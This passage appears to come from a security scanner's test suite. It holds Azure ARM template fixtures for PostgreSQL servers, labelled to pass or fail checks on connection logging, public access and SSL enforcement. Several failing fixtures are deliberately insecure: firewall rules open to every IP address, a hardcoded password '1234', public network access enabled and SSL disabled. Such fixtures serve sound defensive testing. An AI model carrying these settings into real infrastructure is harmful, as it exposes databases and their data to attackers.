    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"siteName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of azure web app\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"maxLength\": 128,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"databaseSkuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"allowedValues\": [\n        2,\n        4,\n        8,\n        16,\n        32\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"databaseSkuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"allowedValues\": [\n        \"GP_Gen5_2\",\n        \"GP_Gen5_4\",\n        \"GP_Gen5_8\",\n        \"GP_Gen5_16\",\n        \"GP_Gen5_32\",\n        \"MO_Gen5_2\",\n        \"MO_Gen5_4\",\n        \"MO_Gen5_8\",\n        \"MO_Gen5_16\",\n        \"MO_Gen5_32\",\n        \"B_Gen5_1\",\n        \"B_Gen5_2\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku name \"\n      }\n    },\n    \"databaseSkuSizeMB\": {\n      \"type\": \"int\",\n      \"allowedValues\": [\n        102400,\n        51200\n      ],\n      \"defaultValue\": 51200,\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL Sku Size \"\n      }\n    },\n    \"databaseSkuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"allowedValues\": [\n        \"GeneralPurpose\",\n        \"MemoryOptimized\",\n        \"Basic\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL pricing tier\"\n      }\n    },\n    \"postgresqlVersion\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"9.5\",\n        \"9.6\",\n        \"10.10\",\n        \"11.5\"\n      ],\n      \"defaultValue\": \"9.6\",\n      \"metadata\": {\n        \"description\": \"PostgreSQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"databaseskuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku family\"\n      }\n    }\n  },\n  \"variables\": {\n    \"databaseName\": \"[concat(parameters('siteName'), 'database')]\",\n    \"serverName\": \"[concat(parameters('siteName'), 'pgserver')]\",\n    \"hostingPlanName\": \"[concat(parameters('siteName'), 'serviceplan')]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('hostingPlanName')]\",\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"name\": \"[variables('hostingPlanName')]\",\n        \"workerSize\": \"1\",\n        \"numberOfWorkers\": 0\n      },\n      \"sku\": {\n        \"Tier\": \"Standard\",\n        \"Name\": \"S1\"\n      }\n    },\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[parameters('siteName')]\",\n      \"type\": \"Microsoft.Web/sites\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]\"\n      ],\n      \"properties\": {\n        \"name\": \"[parameters('siteName')]\",\n        \"serverFarmId\": \"[variables('hostingPlanName')]\"\n      },\n      \"resources\": [\n        {\n          \"apiVersion\": \"2018-11-01\",\n          \"name\": \"connectionstrings\",\n          \"type\": \"config\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.Web/sites/', parameters('siteName'))]\"\n          ],\n          \"properties\": {\n            \"defaultConnection\": {\n              \"value\": \"[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]\",\n              \"type\": \"PostgreSQL\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"2017-12-01\",\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[variables('serverName')]\",\n      \"sku\": {\n        \"name\": \"[parameters('databaseSkuName')]\",\n        \"tier\": \"[parameters('databaseSkuTier')]\",\n        \"capacity\": \"[parameters('databaseSkuCapacity')]\",\n        \"size\": \"[parameters('databaseSkuSizeMB')]\",\n        \"family\": \"[parameters('databaseskuFamily')]\"\n      },\n      \"properties\": {\n        \"version\": \"[parameters('postgresqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageMB\": \"[parameters('databaseSkuSizeMB')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"firewallrules\",\n          \"apiVersion\": \"2017-12-01\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ],\n          \"location\": \"[parameters('location')]\",\n          \"name\": \"[concat(variables('serverName'),'firewall')]\",\n          \"properties\": {\n            \"startIpAddress\": \"0.0.0.0\",\n            \"endIpAddress\": \"255.255.255.255\"\n          }\n        },\n        {\n          \"name\": \"[variables('databaseName')]\",\n          \"type\": \"databases\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"charset\": \"utf8\",\n            \"collation\": \"English_United States.1252\"\n          },\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ]\n        },\n        {\n          \"name\": \"log_connections\",\n          \"type\": \"Microsoft.DBforPostgreSQL/servers/configurations\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"value\": \"ON\"\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLServerLogConnectionsEnabled/postgreSQL-LogConnectionsEnabled-PASSED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"siteName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of azure web app\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"maxLength\": 128,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"databaseSkuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"allowedValues\": [\n        2,\n        4,\n        8,\n        16,\n        32\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"databaseSkuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"allowedValues\": [\n        \"GP_Gen5_2\",\n        \"GP_Gen5_4\",\n        \"GP_Gen5_8\",\n        \"GP_Gen5_16\",\n        \"GP_Gen5_32\",\n        \"MO_Gen5_2\",\n        \"MO_Gen5_4\",\n        \"MO_Gen5_8\",\n        \"MO_Gen5_16\",\n        \"MO_Gen5_32\",\n        \"B_Gen5_1\",\n        \"B_Gen5_2\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku name \"\n      }\n    },\n    \"databaseSkuSizeMB\": {\n      \"type\": \"int\",\n      \"allowedValues\": [\n        102400,\n        51200\n      ],\n      \"defaultValue\": 51200,\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL Sku Size \"\n      }\n    },\n    \"databaseSkuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"allowedValues\": [\n        \"GeneralPurpose\",\n        \"MemoryOptimized\",\n        \"Basic\"\n      ],\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL pricing tier\"\n      }\n    },\n    \"postgresqlVersion\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"9.5\",\n        \"9.6\",\n        \"10.10\",\n        \"11.5\"\n      ],\n      \"defaultValue\": \"9.6\",\n      \"metadata\": {\n        \"description\": \"PostgreSQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"databaseskuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku family\"\n      }\n    }\n  },\n  \"variables\": {\n    \"databaseName\": \"[concat(parameters('siteName'), 'database')]\",\n    \"serverName\": \"[concat(parameters('siteName'), 'pgserver')]\",\n    \"hostingPlanName\": \"[concat(parameters('siteName'), 'serviceplan')]\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[variables('hostingPlanName')]\",\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"name\": \"[variables('hostingPlanName')]\",\n        \"workerSize\": \"1\",\n        \"numberOfWorkers\": 0\n      },\n      \"sku\": {\n        \"Tier\": \"Standard\",\n        \"Name\": \"S1\"\n      }\n    },\n    {\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"[parameters('siteName')]\",\n      \"type\": \"Microsoft.Web/sites\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Web/serverfarms/', variables('hostingPlanName'))]\"\n      ],\n      \"properties\": {\n        \"name\": \"[parameters('siteName')]\",\n        \"serverFarmId\": \"[variables('hostingPlanName')]\"\n      },\n      \"resources\": [\n        {\n          \"apiVersion\": \"2018-11-01\",\n          \"name\": \"connectionstrings\",\n          \"type\": \"config\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.Web/sites/', parameters('siteName'))]\"\n          ],\n          \"properties\": {\n            \"defaultConnection\": {\n              \"value\": \"[concat('Database=', variables('databaseName'), ';Server=', reference(resourceId('Microsoft.DBforPostgreSQL/servers',variables('serverName'))).fullyQualifiedDomainName, ';User Id=', parameters('administratorLogin'),'@', variables('serverName'),';Password=', parameters('administratorLoginPassword'))]\",\n              \"type\": \"PostgreSQL\"\n            }\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"2017-12-01\",\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[variables('serverName')]\",\n      \"sku\": {\n        \"name\": \"[parameters('databaseSkuName')]\",\n        \"tier\": \"[parameters('databaseSkuTier')]\",\n        \"capacity\": \"[parameters('databaseSkuCapacity')]\",\n        \"size\": \"[parameters('databaseSkuSizeMB')]\",\n        \"family\": \"[parameters('databaseskuFamily')]\"\n      },\n      \"properties\": {\n        \"version\": \"[parameters('postgresqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageMB\": \"[parameters('databaseSkuSizeMB')]\"\n      },\n      \"resources\": [\n        {\n          \"type\": \"firewallrules\",\n          \"apiVersion\": \"2017-12-01\",\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ],\n          \"location\": \"[parameters('location')]\",\n          \"name\": \"[concat(variables('serverName'),'firewall')]\",\n          \"properties\": {\n            \"startIpAddress\": \"0.0.0.0\",\n            \"endIpAddress\": \"255.255.255.255\"\n          }\n        },\n        {\n          \"name\": \"[variables('databaseName')]\",\n          \"type\": \"databases\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"charset\": \"utf8\",\n            \"collation\": \"English_United States.1252\"\n          },\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', variables('serverName'))]\"\n          ]\n        },\n        {\n          \"name\": \"log_connections\",\n          \"type\": \"configurations\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"value\": \"ON\"\n          }\n        }\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLServerPublicAccessDisable/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail1\",\n      \"location\": \"[azurerm_resource_group.example.location]\",\n      \"sku\": {\n        \"name\": \"GP_Gen5_4\"\n      },\n      \"properties\": {\n        \"administrator_login\": \"psqladminun\",\n        \"administrator_login_password\": \"1234\",\n        \"version\": \"9.6\",\n        \"storageProfile\": {\n          \"storageMB\": 640000,\n          \"backupRetentionDays\": 7,\n          \"geoRedundantBackup\": \"Enabled\",\n          \"auto_grow_enabled\": \"Enabled\"\n        },\n        \"publicNetworkAccess\": \"Enabled\",\n        \"ssl_enforcement_enabled\": true,\n        \"ssl_minimal_tls_version_enforced\": \"TLS1_2\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLServerPublicAccessDisable/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail2\",\n      \"location\": \"[azurerm_resource_group.example.location]\",\n      \"sku\": {\n        \"name\": \"GP_Gen5_4\"\n      },\n      \"properties\": {\n        \"administrator_login\": \"psqladminun\",\n        \"administrator_login_password\": \"1234\",\n        \"version\": \"9.6\",\n        \"storageProfile\": {\n          \"storageMB\": 640000,\n          \"backupRetentionDays\": 7,\n          \"geoRedundantBackup\": \"Enabled\",\n          \"auto_grow_enabled\": \"Enabled\"\n        },\n        \"publicNetworkAccess\": \"Enabled\",\n        \"ssl_enforcement_enabled\": true,\n        \"ssl_minimal_tls_version_enforced\": \"TLS1_2\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLServerPublicAccessDisable/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass\",\n      \"location\": \"[azurerm_resource_group.example.location]\",\n      \"properties\": {\n        \"administrator_login\": \"psqladminun\",\n        \"administrator_login_password\": \"1234\",\n        \"version\": \"9.6\",\n        \"storageProfile\": {\n          \"storageMB\": 640000,\n          \"backupRetentionDays\": 7,\n          \"geoRedundantBackup\": \"Enabled\",\n          \"auto_grow_enabled\": \"Enabled\"\n        },\n        \"publicNetworkAccess\": \"Disabled\",\n        \"ssl_enforcement_enabled\": true,\n        \"ssl_minimal_tls_version_enforced\": \"TLS1_2\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLServerSSLEnforcementEnabled/postgreSQL-SSL-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"serverName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Server Name for Azure database for PostgreSQL\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"skuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku name \"\n      }\n    },\n    \"skuSizeMB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 51200,\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL Sku Size \"\n      }\n    },\n    \"skuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL pricing tier\"\n      }\n    },\n    \"skuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku family\"\n      }\n    },\n    \"postgresqlVersion\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"9.5\",\n        \"9.6\",\n        \"10\",\n        \"11\"\n      ],\n      \"defaultValue\": \"11\",\n      \"metadata\": {\n        \"description\": \"PostgreSQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"backupRetentionDays\": {\n      \"type\": \"int\",\n      \"defaultValue\": 7,\n      \"metadata\": {\n        \"description\": \"PostgreSQL Server backup retention days\"\n      }\n    },\n    \"geoRedundantBackup\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Disabled\",\n      \"metadata\": {\n        \"description\": \"Geo-Redundant Backup setting\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_postgresql_vnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Name\"\n      }\n    },\n    \"subnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_postgresql_subnet\",\n      \"metadata\": {\n        \"description\": \"Subnet Name\"\n      }\n    },\n    \"virtualNetworkRuleName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AllowSubnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network RuleName\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Address Prefix\"\n      }\n    },\n    \"subnetPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Subnet Address Prefix\"\n      }\n    }\n  },\n  \"variables\": {\n    \"firewallrules\": {\n      \"batch\": {\n        \"rules\": [\n          {\n            \"Name\": \"rule1\",\n            \"StartIpAddress\": \"0.0.0.0\",\n            \"EndIpAddress\": \"255.255.255.255\"\n          },\n          {\n            \"Name\": \"rule2\",\n            \"StartIpAddress\": \"0.0.0.0\",\n            \"EndIpAddress\": \"255.255.255.255\"\n          }\n        ]\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[parameters('virtualNetworkName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        }\n      },\n      \"resources\": [\n        {\n          \"apiVersion\": \"2018-06-01\",\n          \"type\": \"subnets\",\n          \"location\": \"[parameters('location')]\",\n          \"name\": \"[parameters('subnetName')]\",\n          \"dependsOn\": [\n            \"[parameters('virtualNetworkName')]\"\n          ],\n          \"properties\": {\n            \"addressPrefix\": \"[parameters('subnetPrefix')]\"\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"2017-12-01\",\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('serverName')]\",\n      \"sku\": {\n        \"name\": \"[parameters('skuName')]\",\n        \"tier\": \"[parameters('skuTier')]\",\n        \"capacity\": \"[parameters('skuCapacity')]\",\n        \"size\": \"[parameters('skuSizeMB')]\",\n        \"family\": \"[parameters('skuFamily')]\"\n      },\n      \"properties\": {\n        \"version\": \"[parameters('postgresqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageProfile\": {\n          \"storageMB\": \"[parameters('skuSizeMB')]\",\n          \"backupRetentionDays\": \"[parameters('backupRetentionDays')]\",\n          \"geoRedundantBackup\": \"[parameters('geoRedundantBackup')]\"\n        }\n      },\n      \"resources\": [\n        {\n          \"name\": \"[parameters('virtualNetworkRuleName')]\",\n          \"type\": \"virtualNetworkRules\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"virtualNetworkSubnetId\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]\",\n            \"ignoreMissingVnetServiceEndpoint\": true\n          },\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', parameters('serverName'))]\"\n          ]\n        }\n      ]\n    },\n    {\n      \"name\": \"[concat(parameters('serverName'),'/',variables('firewallrules').batch.rules[copyIndex()].Name)]\",\n      \"type\": \"Microsoft.DBforPostgreSQL/servers/firewallRules\",\n      \"apiVersion\": \"2017-12-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.DBforPostgreSQL/servers/', parameters('serverName'))]\"\n      ],\n      \"copy\": {\n        \"name\": \"firewallRulesCopy\",\n        \"mode\": \"Serial\",\n        \"batchSize\": 1,\n        \"count\": \"[length(variables('firewallrules').batch.rules)]\"\n      },\n      \"properties\": {\n        \"startIpAddress\": \"[variables('firewallrules').batch.rules[copyIndex()].StartIpAddress]\",\n        \"endIpAddress\": \"[variables('firewallrules').batch.rules[copyIndex()].EndIpAddress]\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_PostgreSQLServerSSLEnforcementEnabled/postgreSQL-SSL-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"serverName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Server Name for Azure database for PostgreSQL\"\n      }\n    },\n    \"administratorLogin\": {\n      \"type\": \"string\",\n      \"minLength\": 1,\n      \"metadata\": {\n        \"description\": \"Database administrator login name\"\n      }\n    },\n    \"administratorLoginPassword\": {\n      \"type\": \"securestring\",\n      \"minLength\": 8,\n      \"metadata\": {\n        \"description\": \"Database administrator password\"\n      }\n    },\n    \"skuCapacity\": {\n      \"type\": \"int\",\n      \"defaultValue\": 2,\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GP_Gen5_2\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku name \"\n      }\n    },\n    \"skuSizeMB\": {\n      \"type\": \"int\",\n      \"defaultValue\": 51200,\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL Sku Size \"\n      }\n    },\n    \"skuTier\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"GeneralPurpose\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL pricing tier\"\n      }\n    },\n    \"skuFamily\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Gen5\",\n      \"metadata\": {\n        \"description\": \"Azure database for PostgreSQL sku family\"\n      }\n    },\n    \"postgresqlVersion\": {\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"9.5\",\n        \"9.6\",\n        \"10\",\n        \"11\"\n      ],\n      \"defaultValue\": \"11\",\n      \"metadata\": {\n        \"description\": \"PostgreSQL version\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"backupRetentionDays\": {\n      \"type\": \"int\",\n      \"defaultValue\": 7,\n      \"metadata\": {\n        \"description\": \"PostgreSQL Server backup retention days\"\n      }\n    },\n    \"geoRedundantBackup\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Disabled\",\n      \"metadata\": {\n        \"description\": \"Geo-Redundant Backup setting\"\n      }\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_postgresql_vnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Name\"\n      }\n    },\n    \"subnetName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"azure_postgresql_subnet\",\n      \"metadata\": {\n        \"description\": \"Subnet Name\"\n      }\n    },\n    \"virtualNetworkRuleName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AllowSubnet\",\n      \"metadata\": {\n        \"description\": \"Virtual Network RuleName\"\n      }\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Virtual Network Address Prefix\"\n      }\n    },\n    \"subnetPrefix\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"10.0.0.0/16\",\n      \"metadata\": {\n        \"description\": \"Subnet Address Prefix\"\n      }\n    }\n  },\n  \"variables\": {\n    \"firewallrules\": {\n      \"batch\": {\n        \"rules\": [\n          {\n            \"Name\": \"rule1\",\n            \"StartIpAddress\": \"0.0.0.0\",\n            \"EndIpAddress\": \"255.255.255.255\"\n          },\n          {\n            \"Name\": \"rule2\",\n            \"StartIpAddress\": \"0.0.0.0\",\n            \"EndIpAddress\": \"255.255.255.255\"\n          }\n        ]\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2018-06-01\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[parameters('virtualNetworkName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        }\n      },\n      \"resources\": [\n        {\n          \"apiVersion\": \"2018-06-01\",\n          \"type\": \"subnets\",\n          \"location\": \"[parameters('location')]\",\n          \"name\": \"[parameters('subnetName')]\",\n          \"dependsOn\": [\n            \"[parameters('virtualNetworkName')]\"\n          ],\n          \"properties\": {\n            \"addressPrefix\": \"[parameters('subnetPrefix')]\"\n          }\n        }\n      ]\n    },\n    {\n      \"apiVersion\": \"2017-12-01\",\n      \"type\": \"Microsoft.DBforPostgreSQL/servers\",\n      \"location\": \"[parameters('location')]\",\n      \"name\": \"[parameters('serverName')]\",\n      \"sku\": {\n        \"name\": \"[parameters('skuName')]\",\n        \"tier\": \"[parameters('skuTier')]\",\n        \"capacity\": \"[parameters('skuCapacity')]\",\n        \"size\": \"[parameters('skuSizeMB')]\",\n        \"family\": \"[parameters('skuFamily')]\"\n      },\n      \"properties\": {\n        \"version\": \"[parameters('postgresqlVersion')]\",\n        \"administratorLogin\": \"[parameters('administratorLogin')]\",\n        \"administratorLoginPassword\": \"[parameters('administratorLoginPassword')]\",\n        \"storageProfile\": {\n          \"storageMB\": \"[parameters('skuSizeMB')]\",\n          \"backupRetentionDays\": \"[parameters('backupRetentionDays')]\",\n          \"geoRedundantBackup\": \"[parameters('geoRedundantBackup')]\"\n        },\n        \"sslEnforcement\": \"Disabled\"\n      },\n      \"resources\": [\n        {\n          \"name\": \"[parameters('virtualNetworkRuleName')]\",\n          \"type\": \"virtualNetworkRules\",\n          \"apiVersion\": \"2017-12-01\",\n          \"properties\": {\n            \"virtualNetworkSubnetId\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]\",\n            \"ignoreMissingVnetServiceEndpoint\": true\n          },\n          \"dependsOn\": [\n            \"[concat('Microsoft.DBforPostgreSQL/servers/', parameters('serverName'))]\"\n          ]\n        }\n      ]\n    },\n    {\n      \"name\": \"[concat(parameters('serverName'),'/',variables('firewallrules').batch.rules[copyIndex()].Name)]\",\n      \"type\": \"Microsoft.DBforPostgreSQL/servers/firewallRules\",\n      \"apiVersion\": \"2017-12-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.DBforPostgreSQL/servers/', parameters('serverName'))]\"\n      ],\n      \"copy\": {\n        \"name\": \"firewallRulesCopy\",\n        \"mode\": \"Serial\",\n        \"batchSize\": 1,\n        \"count\": \"[length(variables('firewallrules').batch.rules)]\"\n      },\n      \"properties\": {\n        \"startIpAddress\": \"[variables('firewallrules').batch.rules[copyIndex()].StartIpAddress]\",\n        \"endIpAddress\": 